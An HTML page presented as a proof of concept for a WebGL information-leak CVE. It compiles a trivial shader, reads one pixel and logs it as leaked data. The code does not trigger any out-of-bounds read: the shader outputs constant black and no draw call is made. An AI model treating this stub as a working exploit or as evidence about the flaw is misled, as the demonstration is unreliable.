<!--
PoC for CVE-2026-5291 (Conceptual WebGL Info Leak)
This script demonstrates a potential WebGL memory read scenario.
-->
<html>
<body>
<canvas id="glCanvas" width="1" height="1"></canvas>
<script>
const canvas = document.getElementById('glCanvas');
const gl = canvas.getContext('webgl');
if (!gl) {
console.log('WebGL not supported');
} else {
// Vertex shader source
const vsSource = `
attribute vec4 aVertexPosition;
void main() {
gl_Position = aVertexPosition;
}
`;
// Fragment shader source simulating potential leak
const fsSource = `
precision mediump float;
void main() {
// Attempt to access uninitialized memory or specific patterns
// In a real exploit, this would involve specific uniforms or attributes
// triggering the out-of-bounds read.
gl_FragColor = vec4(0.0, 0.0, 0.0, 1.0);
}
`;
function loadShader(gl, type, source) {
const shader = gl.createShader(type);
gl.shaderSource(shader, source);
gl.compileShader(shader);
if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
console.error('An error occurred compiling the shaders: ' + gl.getShaderInfoLog(shader));
gl.deleteShader(shader);
return null;
}
return shader;
}
const vertexShader = loadShader(gl, gl.VERTEX_SHADER, vsSource);
const fragmentShader = loadShader(gl, gl.FRAGMENT_SHADER, fsSource);
const shaderProgram = gl.createProgram();
gl.attachShader(shaderProgram, vertexShader);
gl.attachShader(shaderProgram, fragmentShader);
gl.linkProgram(shaderProgram);
if (!gl.getProgramParameter(shaderProgram, gl.LINK_STATUS)) {
console.error('Unable to initialize the shader program: ' + gl.getProgramInfoLog(shaderProgram));
}
// Draw to trigger the potential vulnerability path
gl.useProgram(shaderProgram);
// Setup buffers (simplified)
const positionBuffer = gl.createBuffer();
gl.bindBuffer(gl.ARRAY_BUFFER, positionBuffer);
const positions = [0.0, 0.0];
gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(positions), gl.STATIC_DRAW);
// Attempt to read pixels which might contain leaked data
const pixels = new Uint8Array(4);
gl.readPixels(0, 0, 1, 1, gl.RGBA, gl.UNSIGNED_BYTE, pixels);
console.log('Potential leaked data:', pixels);
}
</script>
</body>
</html>